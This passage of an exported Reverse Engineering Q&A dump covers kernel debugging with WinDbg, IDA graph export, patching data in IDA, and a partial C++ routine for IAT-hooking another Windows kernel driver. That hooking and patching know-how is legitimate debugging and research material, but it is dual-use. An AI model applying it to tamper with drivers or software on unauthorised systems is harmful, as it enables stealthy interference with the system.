fffff801`40c9a000   storqosflt   (deferred)             \nfffff801`40ca0000 fffff801`40cc8000   bindflt    (deferred)             \nfffff801`40cd0000 fffff801`40ce8000   lltdio     (deferred)             \nfffff801`40cf0000 fffff801`40d08000   mslldp     (deferred)             \nfffff801`40d10000 fffff801`40d2b000   rspndr     (deferred)             \nfffff801`40d30000 fffff801`40d4d000   wanarp     (deferred)             \nfffff801`40d50000 fffff801`40da6000   msquic     (deferred)             \nfffff801`40db0000 fffff801`40f38000   HTTP       (deferred)             \nfffff801`40f40000 fffff801`40f65000   bowser     (deferred)             \nfffff801`40f70000 fffff801`40f8a000   mpsdrv     (deferred)             \nfffff801`40f90000 fffff801`41024000   mrxsmb     (deferred)             \nfffff801`41030000 fffff801`41076000   mrxsmb20   (deferred)             \nfffff801`41080000 fffff801`4108a000   vmmemctl   (deferred)             \nfffff801`41090000 fffff801`410e3000   srvnet     (deferred)             \nfffff801`410f0000 fffff801`41104000   mmcss      (deferred)             \nfffff801`41110000 fffff801`411d7000   srv2       (deferred)             \nfffff801`411e0000 fffff801`41207000   Ndu        (deferred)             \nfffff801`41210000 fffff801`412e6000   peauth     (deferred)             \nfffff801`412f0000 fffff801`41305000   tcpipreg   (deferred)             \nfffff801`41310000 fffff801`4132c000   rassstp    (deferred)             \nfffff801`41330000 fffff801`4134d000   NDProxy    (deferred)             \nfffff801`41350000 fffff801`4137b000   vmhgfs     (deferred)             \nfffff801`41380000 fffff801`413a7000   AgileVpn   (deferred)             \nfffff801`413b0000 fffff801`413d1000   rasl2tp    (deferred)             \nfffff801`413e0000 fffff801`41401000   raspptp    (deferred)             \nfffff801`41410000 fffff801`4142c000   raspppoe   (deferred)             \nfffff801`41430000 fffff801`41442000   condrv     (deferred)             \nfffff801`41450000 fffff801`4145f000   ndistapi   (deferred)             \nfffff801`41460000 fffff801`4149b000   ndiswan    (deferred)             \nfffff801`414a0000 fffff801`414b2000   WdNisDrv   (deferred)             \nfffff801`419a0000 fffff801`41a13000   dxgmms1    (deferred)             \nfffff801`41a20000 fffff801`41a3b000   monitor    (deferred)             \nfffff801`41a40000 fffff801`41b21000   dxgmms2    (deferred)             \nfffff801`41b30000 fffff801`41b59000   luafv      (deferred)             \nfffff801`41b60000 fffff801`41b96000   wcifs      (deferred)             \nfffff801`44a00000 fffff801`45a46000   nt         (pdb symbols)          C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\sym\\ntkrnlmp.pdb\\CA8E2F01B822EDE6357898BFBF8629971\\ntkrnlmp.pdb\nfffff801`46000000 fffff801`46114000   clipsp     (deferred)             \nfffff801`46120000 fffff801`46149000   ksecdd     (deferred)             \nfffff801`46150000 fffff801`461b3000   msrpc      (deferred)             \nfffff801`461c0000 fffff801`461d1000   werkernel   (deferred)             \nfffff801`461e0000 fffff801`461ec000   ntosext    (deferred)             \nfffff801`461f0000 fffff801`462d4000   CI         (deferred)             \nfffff801`462e0000 fffff801`4639b000   cng        (deferred)             \nfffff801`463a0000 fffff801`46471000   Wdf01000   (deferred)             \nfffff801`46480000 fffff801`46493000   WDFLDR     (deferred)             \nfffff801`464a0000 fffff801`464af000   SleepStudyHelper   (deferred)             \nfffff801`464b0000 fffff801`464c1000   WppRecorder   (deferred)             \nfffff801`464d0000 fffff801`464f6000   acpiex     (deferred)             \nfffff801`46500000 fffff801`4654c000   mssecflt   (deferred)             \nfffff801`46550000 fffff801`4656a000   SgrmAgent   (deferred)             \nfffff801`46570000 fffff801`4663c000   ACPI       (deferred)             \nfffff801`46640000 fffff801`4664c000   WMILIB     (deferred)             \nfffff801`46650000 fffff801`46660000   WdBoot     (deferred)             \nfffff801`46670000 fffff801`466db000   intelpep   (deferred)             \nfffff801`466e0000 fffff801`466f7000   WindowsTrustedRT   (deferred)             \nfffff801`46700000 fffff801`4670b000   IntelTA    (deferred)             \nfffff801`46710000 fffff801`4671b000   WindowsTrustedRTProxy   (deferred)             \nfffff801`46720000 fffff801`46734000   pcw        (deferred)             \nfffff801`46740000 fffff801`4674b000   msisadrv   (deferred)             \nfffff801`46750000 fffff801`467c7000   pci        (deferred)             \nfffff801`467d0000 fffff801`467e5000   vdrvroot   (deferred)             \nfffff801`467f0000 fffff801`467fb000   intelide   (deferred)             \nfffff801`46800000 fffff801`46844000   ucx01000   (deferred)             \nfffff801`46850000 fffff801`4687f000   pdc        (deferred)             \nfffff801`46880000 fffff801`4689a000   CEA        (deferred)             \nfffff801`468a0000 fffff801`468d1000   partmgr    (deferred)             \nfffff801`468e0000 fffff801`4698a000   spaceport   (deferred)             \nfffff801`46990000 fffff801`469a3000   PCIIDEX    (deferred)             \nfffff801`469b0000 fffff801`469c9000   volmgr     (deferred)             \nfffff801`469d0000 fffff801`46a1f000   sdbus      (deferred)             \nfffff801`46a20000 fffff801`46a83000   volmgrx    (deferred)             \nfffff801`46a90000 fffff801`46aa8000   vsock      (deferred)             \nfffff801`46ab0000 fffff801`46acc000   vmci       (deferred)             \nfffff801`46ad0000 fffff801`46ae8000   urscx01000   (deferred)             \nfffff801`46af0000 fffff801`46b0e000   mountmgr   (deferred)             \nfffff801`46b10000 fffff801`46b2f000   lsi_sas    (deferred)             \nfffff801`46b30000 fffff801`46be3000   storport   (deferred)             \nfffff801`46bf0000 fffff801`46bfd000   atapi      (deferred)             \nfffff801`46c00000 fffff801`46c3c000   ataport    (deferred)             \nfffff801`46c40000 fffff801`46c72000   storahci   (deferred)             \nfffff801`46c80000 fffff801`46c9c000   EhStorClass   (deferred)             \nfffff801`46ca0000 fffff801`46cba000   fileinfo   (deferred)             \nfffff801`46cc0000 fffff801`46d00000   Wof        (deferred)             \nfffff801`46d10000 fffff801`46d6a000   WdFilter   (deferred)             \nfffff801`46d70000 fffff801`47048000   Ntfs       (deferred)             \nfffff801`47050000 fffff801`47083000   usbccgp    (deferred)             \nfffff801`47090000 fffff801`4709e000   USBD       (deferred)             \nfffff801`470a0000 fffff801`470ad000   urschipidea   (deferred)             \nfffff801`470b0000 fffff801`470ca000   usbehci    (deferred)             \nfffff801`470d0000 fffff801`47149000   USBPORT    (deferred)             \nfffff801`47150000 fffff801`471d5000   usbhub     (deferred)             \nfffff801`471e0000 fffff801`47283000   UsbHub3    (deferred)             \nfffff801`47290000 fffff801`4729d000   Fs_Rec     (deferred)             \nfffff801`472a0000 fffff801`47410000   ndis       (deferred)             \nfffff801`47420000 fffff801`474b8000   NETIO      (deferred)             \nfffff801`474c0000 fffff801`474f2000   ksecpkg    (deferred)             \nfffff801`47500000 fffff801`477eb000   tcpip      (deferred)             \nfffff801`477f0000 fffff801`4786f000   fwpkclnt   (deferred)             \nfffff801`47870000 fffff801`478a0000   wfplwfs    (deferred)             \nfffff801`478b0000 fffff801`47978000   fvevol     (deferred)             \nfffff801`47980000 fffff801`4798b000   volume     (deferred)             \nfffff801`47990000 fffff801`479fd000   volsnap    (deferred)             \nfffff801`47a00000 fffff801`47aa0000   USBXHCI    (deferred)             \nfffff801`47ab0000 fffff801`47ad5000   USBSTOR    (deferred)             \nfffff801`47ae0000 fffff801`47af8000   uaspstor   (deferred)             \nfffff801`47b00000 fffff801`47b1e000   sdstor     (deferred)             \nfffff801`47b20000 fffff801`47b70000   rdyboost   (deferred)             \nfffff801`47b80000 fffff801`47ba6000   mup        (deferred)             \nfffff801`47bb0000 fffff801`47bc2000   iorate     (deferred)             \nfffff801`47bd0000 fffff801`47be0000   hwpolicy   (deferred)             \nfffff801`47bf0000 fffff801`47c0c000   disk       (deferred)             \nfffff801`47c10000 fffff801`47c7d000   CLASSPNP   (deferred)             \nfffff801`48200000 fffff801`48215000   filecrypt   (deferred)             \nfffff801`48220000 fffff801`4822e000   tbs        (deferred)             \nfffff801`48230000 fffff801`4823a000   Null       (deferred)             \nfffff801`48240000 fffff801`4824a000   Beep       (deferred)             \nfffff801`48250000 fffff801`48260000   vmrawdsk   (deferred)             \nfffff801`48270000 fffff801`482cc000   udfs       (deferred)             \nfffff801`48300000 fffff801`4831e000   crashdmp   (deferred)             \nfffff801`48320000 fffff801`4833f000   dump_lsi_sas   (deferred)             \nfffff801`48360000 fffff801`4837d000   dump_dumpfve   (deferred)             \nfffff801`483c0000 fffff801`483f0000   cdrom      (deferred)             \nfffff801`48800000 fffff801`48810000   TDI        (deferred)             \nfffff801`48820000 fffff801`4882e000   ws2ifsl    (deferred)             \nfffff801`48830000 fffff801`4888c000   netbt      (deferred)             \nfffff801`48890000 fffff801`488a3000   afunix     (deferred)             \nfffff801`488b0000 fffff801`48956000   afd        (deferred)             \nfffff801`48960000 fffff801`48973000   npcap      (deferred)             \nfffff801`48980000 fffff801`4899a000   vwififlt   (deferred)             \nfffff801`489a0000 fffff801`489cb000   pacer      (deferred)             \nfffff801`489d0000 fffff801`489e4000   ndiscap    (deferred)             \nfffff801`489f0000 fffff801`48a04000   netbios    (deferred)             \nfffff801`48a10000 fffff801`48ab1000   Vid        (deferred)             \nfffff801`48ac0000 fffff801`48ae1000   winhvr     (deferred)             \nfffff801`48af0000 fffff801`48b6b000   rdbss      (deferred)             \nfffff801`48b70000 fffff801`48c07000   csc        (deferred)             \nfffff801`48c10000 fffff801`48c22000   nsiproxy   (deferred)             \nfffff801`48c30000 fffff801`48c3e000   npsvctrig   (deferred)             \nfffff801`48c40000 fffff801`48c50000   mssmbios   (deferred)             \nfffff801`48c60000 fffff801`48c6a000   gpuenergydrv   (deferred)             \nfffff801`48c70000 fffff801`48c9c000   dfsc       (deferred)             \nfffff801`48cc0000 fffff801`48d2c000   fastfat    (deferred)             \nfffff801`48d30000 fffff801`48d47000   bam        (deferred)             \nfffff801`48d50000 fffff801`48d9e000   ahcache    (deferred)             \nfffff801`48da0000 fffff801`48db2000   CompositeBus   (deferred)             \nfffff801`48dc0000 fffff801`48dcd000   kdnic      (deferred)             \nfffff801`48dd0000 fffff801`48de5000   umbus      (deferred)             \nfffff801`48df0000 fffff801`48e11000   i8042prt   (deferred)             \nfffff801`48e20000 fffff801`48e34000   kbdclass   (deferred)             \nfffff801`48e40000 fffff801`48e49000   vmmouse    (deferred)             \nfffff801`48e50000 fffff801`48e63000   mouclass   (deferred)             \nfffff801`48e70000 fffff801`48e8c000   serial     (deferred)             \nfffff801`48e90000 fffff801`48e9f000   serenum    (deferred)             \nfffff801`48ea0000 fffff801`48eaa000   vm3dmp_loader   (deferred)             \nfffff801`48eb0000 fffff801`48efb000   vm3dmp     (deferred)             \nfffff801`48f00000 fffff801`48f10000   usbuhci    (deferred)             \nfffff801`48f30000 fffff801`48f59000   HDAudBus   (deferred)             \nfffff801`48f60000 fffff801`48fc6000   portcls    (deferred)             \nfffff801`48fd0000 fffff801`48ff1000   drmk       (deferred)             \nfffff801`49000000 fffff801`49076000   ks         (deferred)             \nfffff801`49090000 fffff801`4911e000   e1i65x64   (deferred)             \nfffff801`49130000 fffff801`4913b000   vmgencounter   (deferred)             \nfffff801`49140000 fffff801`4914f000   CmBatt     (deferred)             \nfffff801`49150000 fffff801`49160000   BATTC      (deferred)             \nfffff801`49170000 fffff801`491b0000   intelppm   (deferred)             \nfffff801`491c0000 fffff801`491cd000   NdisVirtualBus   (deferred)             \nfffff801`491d0000 fffff801`491dc000   swenum     (deferred)             \nfffff801`491e0000 fffff801`491ee000   rdpbus     (deferred)             \nfffff801`491f0000 fffff801`491fe000   USBPcap    (deferred)             \nfffff801`49200000 fffff801`4926f000   HdAudio    (deferred)             \nfffff801`49270000 fffff801`4927f000   ksthunk    (deferred)             \nfffff801`49280000 fffff801`49292000   hidusb     (deferred)             \nfffff801`492a0000 fffff801`492df000   HIDCLASS   (deferred)             \nfffff801`492e0000 fffff801`492f3000   HIDPARSE   (deferred)             \nfffff801`49300000 fffff801`49310000   mouhid     (deferred)             \nfffff801`49320000 fffff801`49329000   vmusbmouse   (deferred)             \nfffff801`49340000 fffff801`4934e000   dump_diskdump   (deferred)             \nfffff801`49350000 fffff801`496fa000   dxgkrnl    (deferred)             \nfffff801`49700000 fffff801`49718000   watchdog   (deferred)             \nfffff801`49720000 fffff801`49736000   BasicDisplay   (deferred)             \nfffff801`49740000 fffff801`49751000   BasicRender   (deferred)             \nfffff801`49760000 fffff801`4977c000   Npfs       (deferred)             \nfffff801`49780000 fffff801`49791000   Msfs       (deferred)             \nfffff801`497a0000 fffff801`497be000   CimFS      (deferred)             \nfffff801`497c0000 fffff801`497e2000   tdx        (deferred)  \n</code></pre>\n<p>I then change the context to the process with <code>.process /i ffffd88c774b70c0</code> and set a breakpoint on ntdll!ntcreatefile</p>\n<p>Problem is, I wanted to step INTO syscall but upon pressing p windbg executes it without stepping into it, what gives? I'm running running a kernel debugger and debugging a VM, so I should be able to do this, what's the problem here?</p>\n",
        "Title": "Why windbg skips syscall on kernel mode?",
        "Tags": "|windows|debugging|x86|windbg|kernel-mode|",
        "Answer": "<p>If windbg has broken on ntdll!NtCreateFile and you issue a p or t it should Single step properly<br />\nit will execute the syscall inside ntdll!NtCreateFile in a single Step see below</p>\n<pre><code>0: kd&gt; g\nBreakpoint 0 hit\nntdll!NtCreateFile:\n0033:00007ff9`7fcf0100 4c8bd1          mov     r10,rcx\n0: kd&gt; p\nntdll!NtCreateFile+0x3:\n0033:00007ff9`7fcf0103 b855000000      mov     eax,55h\n0: kd&gt; p\nntdll!NtCreateFile+0x8:\n0033:00007ff9`7fcf0108 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1\n0: kd&gt; p\nntdll!NtCreateFile+0x10:\n0033:00007ff9`7fcf0110 7503            jne     ntdll!NtCreateFile+0x15 (00007ff9`7fcf0115)\n0: kd&gt; p\nntdll!NtCreateFile+0x12:\n0033:00007ff9`7fcf0112 0f05            syscall\n0: kd&gt; k2\n # Child-SP          RetAddr           Call Site\n00 0000003f`e10ac5e8 00007ff9`7bd5e5d6 ntdll!NtCreateFile+0x12\n01 0000003f`e10ac5f0 00007ff9`7bd5e2c6 KERNELBASE!CreateFileInternal+0x2f6\n0: kd&gt; p\nntdll!NtCreateFile+0x14:\n0033:00007ff9`7fcf0114 c3              ret\n0: kd&gt; p\nKERNELBASE!CreateFileInternal+0x2f6:\n0033:00007ff9`7bd5e5d6 0f1f440000      nop     dword ptr [rax+rax]\n</code></pre>\n<p>from your query it is not clear what you are doing<br />\nwhat is the relevance of lm to .process command ??</p>\n<p>if you need to single step inside the kernel part you need to have a breakpoint on the actual implementation of ntdll!NtCreateFile in the executive</p>\n<p>set a process specific breakpoint on both <strong>ntdll!NtCreateFile and nt!NtCreateFile</strong></p>\n<p>either a p (step over ) or t (step in ) should break on the kernel part</p>\n<p>also notepad.exe is not a good target for practicing if I recall correctly it uses memory mapped operations instead of opening</p>\n<p>anyway shown below is a simple demo of breaking on user part and single stepping into kernel part on notepad.exe for file-&gt;open from menu (this will trigger the break on NtCreateFile )</p>\n<p>look for specific binary (notepad.exe in your case and set process specific breakpoint on user stub in ntdll and executive implementation on kernel.</p>\n<pre><code>1: kd&gt; $$ look for relevent process\n1: kd&gt; !process 0 0 notepad.exe\nPROCESS ffffc50d96c97080\n    SessionId: 1  Cid: 10a0    Peb: 3fe1263000  ParentCid: 1008\n    DirBase: 1e3c0002  ObjectTable: ffff8787c380b700  HandleCount: 568.\n    Image: notepad.exe\n\n1: kd&gt; bp /p ffffc50d96c97080 ntdll!NtCreateFile\n1: kd&gt; bp /p ffffc50d96c97080 nt!NtCreateFile\n1: kd&gt; bl\n     0 e Disable Clear  00007ff9`7fcf0100     0001 (0001) ntdll!NtCreateFile\n     Match process data ffffc50d`96c97080\n     1 e Disable Clear  fffff800`4f8914e0     0001 (0001) nt!NtCreateFile\n     Match process data ffffc50d`96c97080\n</code></pre>\n<p>execute and let the target run using g</p>\n<p>now in side the target use File-&gt;open on the open binary instance (notepad.exe in your case)<br />\nthe breakpoint on notepad.exe in ntdll should be hit with a call stack thus</p>\n<p>(be aware you need a proper symbol path and cache of pdbs and you should have issued .reload /f now or prior to calling k for a proper call stack display)</p>\n<p>Notice the InvokeOpenDialog() in notepad.exe this triggers the break further up on ntdll!NtCreatFile</p>\n<pre><code>1: kd&gt; g\nBreakpoint 0 hit\nntdll!NtCreateFile:\n0033:00007ff9`7fcf0100 4c8bd1          mov     r10,rcx\n1: kd&gt; k\n # Child-SP          RetAddr           Call Site\n00 0000003f`e10acaa8 00007ff9`7bd5e5d6 ntdll!NtCreateFile\n01 0000003f`e10acab0 00007ff9`7bd5e2c6 KERNELBASE!CreateFileInternal+0x2f6\n02 0000003f`e10acc20 00007ff9`7bd5cc21 KERNELBASE!CreateFileW+0x66\n03 0000003f`e10acc80 00007ff9`7bd5edc0 KERNELBASE!BasepLoadLibraryAsDataFileInternal+0x291\n04 0000003f`e10aceb0 00007ff9`7d912010 KERNELBASE!LoadLibraryExW+0xe0\n05 0000003f`e10acf20 00007ff9`7d90fdee SHELL32!GetShellStyleHInstance+0xc8\n06 0000003f`e10ad250 00007ff9`7d93d3a4 SHELL32!UpdateStyle+0x1e\n07 0000003f`e10ad290 00007ff9`7d93cece SHELL32!DUI_ShellStyleSheet_InitProcess+0x94\n08 0000003f`e10ad2d0 00007ff9`7d908ed7 SHELL32!InitializeDirectUI+0x32\n09 0000003f`e10ad300 00007ff9`7d981320 SHELL32!CDUIViewFrame::CreateFrameWindow+0x37\n0a 0000003f`e10ad360 00007ff9`7d97fc8c SHELL32!CreateViewFrame+0x8c\n0b 0000003f`e10ad3d0 00007ff9`7d97fb2c SHELL32!CExplorerBrowser::_SwitchView+0xc0\n0c 0000003f`e10ad4a0 00007ff9`7d97f10f SHELL32!CExplorerBrowser::_BrowseToView+0x204\n0d 0000003f`e10ad540 00007ff9`7d97ede3 SHELL32!CExplorerBrowser::_BrowseObjectInternal+0xef\n0e 0000003f`e10ad5c0 00007ff9`7d97e330 SHELL32!CExplorerBrowser::_OnBrowseObject+0x37\n0f 0000003f`e10ad5f0 00007ff9`7cfb5b83 SHELL32!CExplorerBrowser::BrowseObject+0xb0\n10 0000003f`e10ad6f0 00007ff9`7cfbd43f COMDLG32!CFileOpenSave::_JumpToInitialLocation+0x1c3\n11 0000003f`e10ad780 00007ff9`7cfc9cbe COMDLG32!CFileOpenSave::_InitOpenSaveDialog+0x191f\n12 0000003f`e10ae200 00007ff9`7fa8e9cf COMDLG32!CFileOpenSave::s_OpenSaveDlgProc+0x68e\n13 0000003f`e10ae4a0 00007ff9`7fa87d62 USER32!UserCallDlgProcCheckWow+0x197\n14 0000003f`e10ae580 00007ff9`7fa87c76 USER32!DefDlgProcWorker+0xd2\n15 0000003f`e10ae640 00007ff9`7fa8ca66 USER32!DefDlgProcW+0x36\n16 0000003f`e10ae680 00007ff9`7fa8c0b8 USER32!UserCallWinProcCheckWow+0x266\n17 0000003f`e10ae800 00007ff9`7fa8fa5e USER32!SendMessageWorker+0x218\n18 0000003f`e10ae8a0 00007ff9`7faaf61a USER32!InternalCreateDialog+0xa2e\n19 0000003f`e10aea80 00007ff9`7faaf4f2 USER32!InternalDialogBox+0x106\n1a 0000003f`e10aeae0 00007ff9`7faaf488 USER32!DialogBoxIndirectParamAorW+0x52\n1b 0000003f`e10aeb20 00007ff9`7cfd84de USER32!DialogBoxIndirectParamW+0x18\n1c 0000003f`e10aeb60 00007ff9`7cfbe568 COMDLG32!&lt;lambda_772b13dd37a5eaf1da6a98973fbee968&gt;::operator()+0x9e\n1d 0000003f`e10aeba0 00007ff6`8ced20ac COMDLG32!CFileOpenSave::Show+0xb08\n1e 0000003f`e10af000 00007ff6`8ced226b notepad!ShowOpenSaveDialog+0x104\n1f 0000003f`e10af060 00007ff6`8ced2941 notepad!InvokeOpenDialog+0x14f\n20 0000003f`e10af0c0 00007ff6`8ced4037 notepad!NPCommand+0x425\n21 0000003f`e10af440 00007ff9`7fa8ca66 notepad!NPWndProc+0x5e7\n22 0000003f`e10af740 00007ff9`7fa8c582 USER32!UserCallWinProcCheckWow+0x266\n23 0000003f`e10af8c0 00007ff6`8ced448d USER32!DispatchMessageWorker+0x1b2\n24 0000003f`e10af940 00007ff6`8ceeae07 notepad!WinMain+0x255\n25 0000003f`e10afa40 00007ff9`7d5b81f4 notepad!__mainCRTStartup+0x19f\n26 0000003f`e10afb00 00007ff9`7fcba251 KERNEL32!BaseThreadInitThunk+0x14\n27 0000003f`e10afb30 00000000`00000000 ntdll!RtlUserThreadStart+0x21\n</code></pre>\n<p>now you can single step up to syscall with either p or t (I am using pc to step unto next call as i have pasted the instructions above) and on executing the syscall your break on the executive (nt) should be hit.</p>\n<p>happy tracing :)</p>\n<pre><code>1: kd&gt; p\nntdll!NtCreateFile+0x3:\n0033:00007ff9`7fcf0103 b855000000      mov     eax,55h\n1: kd&gt; pc\nntdll!NtCreateFile+0x12:\n0033:00007ff9`7fcf0112 0f05            syscall\n1: kd&gt; t\nBreakpoint 1 hit\nnt!NtCreateFile:\nfffff800`4f8914e0 4881ec88000000  sub     rsp,88h\n1: kd&gt; k4\n # Child-SP          RetAddr           Call Site\n00 ffff8386`4a667a88 fffff800`4f467785 nt!NtCreateFile\n01 ffff8386`4a667a90 00007ff9`7fcf0114 nt!KiSystemServiceCopyEnd+0x25\n02 0000003f`e10acaa8 00007ff9`7bd5e5d6 ntdll!NtCreateFile+0x14\n03 0000003f`e10acab0 00007ff9`7bd5e2c6 KERNELBASE!CreateFileInternal+0x2f6\n1: kd&gt; !obja @r8\nObja +0000000000000000 at 0000003fe10acb78:\n    Name is \\??\\C:\\Windows\\resources\\themes\\Aero\\Shell\\NormalColor\\ShellStyle.dll\n    OBJ_CASE_INSENSITIVE\n\n1: kd&gt; ?? (char *)((nt!_EPROCESS *)@$proc)-&gt;ImageFileName\nchar * 0xffffc50d`96c974d0\n &quot;notepad.exe&quot;\n</code></pre>\n"
    },
    {
        "Id": "29586",
        "CreationDate": "2021-11-21T01:07:58.880",
        "Body": "<p>Trying to save a big graph(the default graph view of assembly instructions in IDA after you press space in text view while viewing instructions of a function) as an image.</p>\n<p>Googled this article: <a href=\"http://pank4j.github.io/posts/converting-ida-pro-graphs-to-images.html\" rel=\"nofollow noreferrer\">Converting IDA Pro graphs to images</a>, it tells to use graph-easy for Linux, and saw this question: <a href=\"https://reverseengineering.stackexchange.com/questions/3322/saving-ida-graphs-as-image\">Saving IDA graphs as image</a>. The only answer suggests to use graph-easy for Linux. I'm on Windows. How to convert the graph to an image on Windows 10?</p>\n<p>I googled how to convert gdl to image, too, and there's some ArchiCAD software for $3000 or something, and it looks like it's some big program for modeling or whatever. Then there's this online tool which doesn't work: <a href=\"https://fileproinfo.com/tools/viewer/gdl\" rel=\"nofollow noreferrer\">https://fileproinfo.com/tools/viewer/gdl</a> . Says the preview doesn't work. There's also: Stanford Microarray Database GDL Data . Their site is dead.</p>\n<p>Please help.</p>\n",
        "Title": "How to make a screenshot of a graph view in IDA on Windows?",
        "Tags": "|ida|",
        "Answer": "<p>If you want to save the image of the graph as it is displayed in IDA, you can use <a href=\"https://github.com/tmr232/GraphGrabber\" rel=\"nofollow noreferrer\">https://github.com/tmr232/GraphGrabber</a></p>\n<p>For viewing and printing GDL graphs, you can use <code>qwingraph</code> program shipped with IDA.</p>\n<p>There is also a \u201cprint graph\u201d button on IDA\u2019s graph toolbar but it\u2019s not shown by default.</p>\n<p>You can also generate graphs in a more common DOT format, see <code>ida.cfg</code> for the settings.</p>\n"
    },
    {
        "Id": "29602",
        "CreationDate": "2021-11-23T22:09:29.990",
        "Body": "<p>I've wrote a kernel driver recently and it does multiple things, but I wanted to add a IAT hook for a certain driver.</p>\n<p>I want to hook the IAT of another driver from my driver if that makes sense.</p>\n<p>So I understand your typical IAT hook is done via DLL injection so you're within the same address space as said module.</p>\n<p><strong>The main question I'm having is can someone give an example of IAT hooking a kernel driver via a kernel driver?</strong> I can't figure it out.</p>\n<p>I've been using multiple examples of regular IAT hooking via dll injection but applying it to the Kernel driver instead.</p>\n<p><strong>Expected outcome:</strong> Driver1.sys (does the IAT hook) parses the import table of Driver2.sys and replaces the function &quot;DbgPrintEx&quot; import with a function located in Driver1.sys aka accomplishing an IAT hook.</p>\n<p><strong>Here is what I wrote / referenced:</strong></p>\n<pre><code>NTSTATUS _HOOKS_::HookFn(PVOID ModuleBase, const char* FunctionName, uintptr_t HookFunc, uintptr_t* OrigFunc) {\n\nIMAGE_DOS_HEADER DosHeader{ 0 };\nmemcpy(&amp;DosHeader, ModuleBase, sizeof(IMAGE_DOS_HEADER));\n\nIMAGE_NT_HEADERS NtHeaders{ 0 };\nmemcpy(&amp;NtHeaders, (PVOID)((uintptr_t)ModuleBase + DosHeader.e_lfanew), sizeof(IMAGE_NT_HEADERS));\n\nIMAGE_IMPORT_DESCRIPTOR ImportDescriptor{ 0 };\nIMAGE_DATA_DIRECTORY ImportsDirectory = NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];\n\nmemcpy(&amp;ImportDescriptor, (PVOID)((uintptr_t)ModuleBase + ImportsDirectory.VirtualAddress), sizeof(ImportDescriptor));\n\nLPCSTR LibraryName = NULL;\nPVOID Library = NULL;\nIMAGE_IMPORT_BY_NAME FunctionNamee{ 0 };\n\nwhile (ImportDescriptor.Name != NULL) {\n    memcpy(&amp;LibraryName, &amp;ImportDescriptor.Name + (uintptr_t)ModuleBase, sizeof(LibraryName));\n\n    IMAGE_THUNK_DATA OriginalFirstThunk{ 0 }, firstThunk{ 0 };\n    memcpy(&amp;OriginalFirstThunk, (PVOID)(ImportDescriptor.OriginalFirstThunk + (uintptr_t)ModuleBase), sizeof(IMAGE_THUNK_DATA));\n    memcpy(&amp;firstThunk, (PVOID)(ImportDescriptor.FirstThunk + (uintptr_t)ModuleBase), sizeof(IMAGE_THUNK_DATA));\n\n    while (OriginalFirstThunk.u1.AddressOfData != NULL) {\n\n        memcpy(&amp;FunctionNamee, (PVOID)(OriginalFirstThunk.u1.AddressOfData + (uintptr_t)ModuleBase), sizeof(IMAGE_IMPORT_BY_NAME));\n\n        Log::Debug(&quot;First function name -&gt; %s\\n&quot;, FunctionNamee);\n\n        if (!strcmp(FunctionNamee.Name, FunctionName)) {\n            Log::Debug(&quot;FOUND FUNCTION!!! Address -&gt; %p\\n&quot;, firstThunk.u1.Function);\n        }\n    }\n}\n\n\nreturn STATUS_SUCCESS;\n</code></pre>\n<p>This code BSOD's on: <code>memcpy(&amp;ImportDescriptor, (PVOID)((uintptr_t)ModuleBase + ImportsDirectory.VirtualAddress), sizeof(ImportDescriptor));</code></p>\n<p>Correct me if I'm wrong but since kernel drivers share the same address space I can just simply use memcpy or RtlCopyMemory to obtain the structs needed for this hook, does anyone have any references or some sort of documentation I can read?</p>\n<p>Thanks to all in advance!</p>\n<p>extra info:</p>\n<ul>\n<li>Windows 10</li>\n<li>Using VMWare for testing</li>\n<li>I'm testing the hook on my own driver</li>\n</ul>\n<p>EDIT: Posted the faulting source line that causes BSOD.</p>\n<p>Upon debugging via WinDbg(x64), the driver obtains all the addresses correctly comparing them to memory view. Except <code>ImportDescriptor</code> gets an RVA of 0x6000, when inspecting <code>ModuleBase + 0x6000</code> for the RVA it shows that this memory region is invalid, so I believe that the 0x6000 RVA is incorrect and I'm not sure why</p>\n<p><strong>BUG CHECK CODES:</strong></p>\n<ul>\n<li>BSOD Error Code: PAGE_FAULT_IN_NONPAGED_AREA</li>\n<li>BUG Check Code: 50</li>\n</ul>\n",
        "Title": "IAT Hook via Kernel Driver",
        "Tags": "|c++|function-hooking|kernel-mode|driver|iat|",
        "Answer": "<p>So, it turns out that if you're testing an IAT hook on a driver, the driver must be compiled in the release mode rather than in the debug one.</p>\n<p>If the driver is compiled in the debug mode, the RVA for the <code>Import Descriptor</code> seems to be wrong. But the issue is resolved with compiling in the release rather than in the debug mode.</p>\n<p>Thanks to all for the help.</p>\n"
    },
    {
        "Id": "29603",
        "CreationDate": "2021-11-24T05:33:58.370",
        "Body": "<p>I have a global variable stored in the data section:</p>\n<pre><code>data:00007FF7DDBF78E4 00 00 00 00          dword_7FF7DDBF78E4 dd 0  \n</code></pre>\n<p>Is there a way to change its value?</p>\n",
        "Title": "Change global variable value in IDA",
        "Tags": "|ida|patching|",
        "Answer": "<p>Patching in IDA is pretty simple and well documented <a href=\"https://hex-rays.com/products/ida/support/idadoc/526.shtml\" rel=\"nofollow noreferrer\">here</a> and <a href=\"https://hex-rays.com/blog/igors-tip-of-the-week-37-patching/\" rel=\"nofollow noreferrer\">here</a>.</p>\n<p>First, you need to make the change by selecting a portion of data in the main view and then use the <code>Edit -&gt; Patch program -&gt; Change word</code> submenu item. Note that at that point the change was only made to the IDB you're working on and not to the actual binary you loaded.</p>\n<p>Before applying the patches made to the original binary, I recommend you review them using the <code>Edit -&gt; Patch program -&gt; Patched bytes</code> option. To apply the changes, you need to use the <code>Edit -&gt; Patch program -&gt; Apply patches to input file...</code>. You should probably create a backup (the option's available in the dialog).</p>\n<p>Note that this is only possible if the segment you're trying to edit is not a <code>BSS</code> segment. Executables don't <em>contain data</em> for <code>BSS</code> segments because <code>BSS</code> segments are completely initialized to all zeroes by the executable loader.</p>\n<p>Note that in earlier versions of IDA the <code>Patch program</code> submenu was hidden by default and you had to set the <code>DISPLAY_PATCH_SUBMENU</code> configuration in <code>idagui.cfg</code> to <code>YES</code>.</p>\n"
    },
    {
        "Id": "29605",
        "CreationDate": "2021-11-24T11:40:54.257",
